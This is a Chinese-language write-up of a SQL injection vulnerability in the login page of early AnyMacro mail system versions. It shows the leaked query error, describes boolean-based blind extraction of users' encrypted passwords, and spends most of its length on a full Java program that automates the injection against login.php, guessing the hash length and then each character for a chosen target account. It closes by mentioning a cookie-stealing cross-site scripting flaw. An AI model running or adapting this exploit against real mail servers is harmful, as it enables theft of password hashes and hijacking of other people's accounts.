AnyMacro邮件系统在早期版本的用户登录处存在SQL注入漏洞,通过漏洞可爆出用户加密后的密码:
在用户名处输入 ' 号后 将提示错误:
Query DB [select crypt, status from user where id = '' @mail.doamin.cn'] err:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@mail.domain.cn'' at line 1
通过错误提示语句可知系统验证方式是先从用户表(user)中查询出用户的加密后密码(crypt)和用户的状态(status),然后通过比较加密后的用户输入的密码和数据库中查询出的加密后的密码来检测用户是否通过验证,所以无法通过构造万能密码来绕过验证,但是可以通过漏洞来爆出用户加密后的密码:
通过Live Http Headers 插件构造Post的数据,然后根据系统提示是用户不存在还是密码错误可猜解出用户加密后的密码(不知道加密后的密码的加密算法,所以无法破解,如果有谁知道,还请告知)
猜解加密后密码长度
其实如果系统只是单纯的靠上面的第一重验证的话,还是可以绕过的,但是需要知道一个已知密码的账号(可以自己注册一个账号),然后通过SQL注入漏洞猜解出其加密的密码,再通过union来替换:
通过Live Http Headers 构造上面的语句,就可以绕过第一重验证了,其中登录用户名处填任意账号,密码处填你自己知道账号的密码,语句的select 后面的字符串是你知道密码的加密后的字符串,这样就可以绕过第一重验证,但是很遗憾的是系统还采用了第二重验证,因为构造这条语句提交后会报另一个错误,大致的意思就是union的前后语句字段数不一致。所以无法靠构造语句来绕过验证。
手工猜解密码的速度太慢,因此我用java写了个程序自动猜解,但是算法未经过任何优化:
package SQLInject;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.TimerTask;
import org.apache.commons.httpclient.Header;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpMethod;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.URIException;
import org.apache.commons.httpclient.methods.GetMethod;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.util.URIUtil;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
*
*/
public final class HttpTookit{
private static Log log = LogFactory.getLog(HttpTookit.class);
/**
* 执行一个HTTP GET请求,返回请求响应的HTML
*
* @param url
* 请求的URL地址
* @param queryString
* 请求的查询参数,可以为null
* @param charset
* 字符集
* @param pretty
* 是否美化
* @return 返回请求响应的HTML
*/
public static String doGet(String url, String queryString, String charset,
boolean pretty) {
StringBuffer response = new StringBuffer();
HttpClient client = new HttpClient();
HttpMethod method = new GetMethod(url);
try {
if (StringUtils.isNotBlank(queryString))
// 对get请求参数做了http请求默认编码,好像没有任何问题,汉字编码后,就成为%式样的字符串
method.setQueryString(URIUtil.encodeQuery(queryString));
client.executeMethod(method);
if (method.getStatusCode() == HttpStatus.SC_OK) {
BufferedReader reader = new BufferedReader(
new InputStreamReader(method.getResponseBodyAsStream(),
charset));
String line;
while ((line = reader.readLine()) != null) {
if (pretty)
response.append(line).append(
System.getProperty("line.separator"));
else
response.append(line);
}
reader.close();
}else{
System.out.println("!!!!!!!!"+method.getStatusCode());
}
} catch (URIException e) {
log.error("执行HTTP Get请求时,编码查询字符串“" + queryString + "”发生异常!", e);
} catch (IOException e) {
log.error("执行HTTP Get请求" + url + "时,发生异常!", e);
} finally {
method.releaseConnection();
}
return response.toString();
}
/**
* 执行一个HTTP POST请求,返回请求响应的HTML
*
* @param url 请求的URL地址
* @param data 请求的查询参数,可以为null
* @param header 要添加/修改的报头信息
* @param charset 字符集
* @param pretty 是否美化
* @return 返回请求响应的HTML
*/
public static String doPost(String url, NameValuePair[] data,Map header,
String charset, boolean pretty) {
StringBuffer response = new StringBuffer();
HttpClient client = new HttpClient();
PostMethod postMethod = new PostMethod(url);
postMethod.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset="+charset);
if(header != null){
for(Map.Entry entry:header.entrySet()){
postMethod.setRequestHeader(entry.getKey(), entry.getValue());
}
}
// 设置Http Post数据
postMethod.setRequestBody(data);
try {
int statusCode = client.executeMethod(postMethod);
System.out.println("statusCode--->" + statusCode);
// HttpClient对于要求接受后继服务的请求,象POST和PUT等不能自动处理转发
// 301或者302
if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || statusCode == HttpStatus.SC_MOVED_TEMPORARILY) {
// 从头中取出转向的地址
Header locationHeader = postMethod.getResponseHeader("location");
String location = null;
if (locationHeader != null) {
location = locationHeader.getValue();
System.out.println("The page was redirected to:" + location);
System.out.println(doGet("http://mail.domain.cn"+location,null, charset, pretty));
} else {
System.err.println("Location field value is null.");
}
} else if (statusCode == HttpStatus.SC_OK) {
BufferedReader reader = new BufferedReader(
new InputStreamReader(postMethod.getResponseBodyAsStream(),
charset));
String line;
while ((line = reader.readLine()) != null) {
if (pretty)
response.append(line).append(
System.getProperty("line.separator"));
else
response.append(line);
}
reader.close();
} else if (statusCode == HttpStatus.SC_INTERNAL_SERVER_ERROR) {
System.out.println("error---->500");
}
} catch (IOException e) {
log.error("执行HTTP Post请求" + url + "时,发生异常!", e);
} finally {
postMethod.releaseConnection();
}
return response.toString();
}
public static void main(String[] args) {
Map header = new HashMap();
header.put("Referer", "http://mail.domain.cn/index.php");
header.put("F_SID", "74385c6c3fe6b274cf849b0a01c05e82");
header.put("Cookie", "LOGIN_KEY=451f112bc2c830206b373dee5870749b");
NameValuePair[] data = {
new NameValuePair("F_domain", "mail.domain.cn"),
new NameValuePair("F_lang",""),
new NameValuePair("F_tm","1356416923"),
new NameValuePair("F_email", "想要爆密码的用户名"),
new NameValuePair("F_password","1"),
new NameValuePair("action.x","27"),
new NameValuePair("action.y","10")
};
int length = getColumnLength(data, header, "", "crypt");
StringBuilder sb = new StringBuilder(length);
String condition = "from user where id='[email protected]'";
for(int i=1; i<=length; i++){
sb.append((char)getPsdByPosition(data, header, "user", "crypt", i,condition));
// break;
}
System.out.println(sb.toString());
// String z = doPost("http://mail.domain.cn/login.php", data,header, "GBK", true);
// System.out.println(z);
}
public static int getColumnLength(NameValuePair[] data,Map header, String table, String column){
String sql = "mail.domain.cn' and (select length("+column+"))>";
int columnLength = 10;
boolean flag = true;
while(columnLength<14){
data[0].setValue(sql+columnLength+" and '1'='1");
String z = doPost("http://mail.domain.cn/login.php", data,header, "GBK", true);
// System.out.println(z);
if(z.contains("用户不存在")){
break;
}
columnLength++;
}
System.out.println(columnLength);
return columnLength;
}
public static int getPsdByPosition(NameValuePair[] data,Map header, String table, String column, int position,String condition){
String sql = "mail.domain.cn' and (select ascii(mid("+column+","+position+",1)) "+condition+")>";
int ascii = 40;
while(true){
data[0].setValue(sql+ascii+" and '1'='1");
String z = doPost("http://mail.domain.cn/login.php", data,header, "GBK", true);
if(z.contains("用户不存在")){
break;
}
ascii++;
}
System.out.println(ascii);
return ascii;
}
}
另:还发现AnyMacro邮件系统存在跨站漏洞,通过javascript代码可以盗取用户的cookie,从而劫持用户的会话,执行任意操作: